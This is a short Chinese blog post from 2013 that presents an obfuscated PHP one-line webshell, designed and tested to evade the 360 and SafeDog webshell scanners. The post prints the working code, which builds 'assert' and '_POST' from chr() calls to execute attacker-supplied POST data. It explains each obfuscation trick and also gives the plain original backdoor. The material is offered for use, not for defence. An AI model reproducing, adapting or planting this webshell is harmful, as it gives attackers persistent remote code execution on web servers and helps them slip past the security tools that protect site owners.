经过变异新的一句话(过360,安全狗)

只测试了360网马查杀和安全狗网马查杀,均未被发现

<?php
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>

range(1,200)----新建一个1到200的数组。  range(a,z)就是一个a到z的数组;大小写有区别
chr()----转换ASCII 
chr($a[51])--------是密码4  ,实际是chr(52)。也可以把[chr($a[51])]改为['4']
$a[51]就是数组的$a的第51个数的值(52)。因为数组的值是从0开始数的,所以第51位为52.

原一句话: <?php  $a = "a"."s"."s"."e"."r"."t";  $a(${_POST}['4']);  ?>

assert()----跟eval()意思差不多都用来执行语句的
重点是{},变量分离;这样{}中的就是字符串,也就可以把_POST转码eg:

<?php
$f4ck="LOVE"; 
echo "${f4ck} ,f4ck";//输出结果 LOVE,f4ck

posted @ 2013-09-09 03:28  heikeboy’s Blog  阅读(611)  评论(0编辑  收藏  举报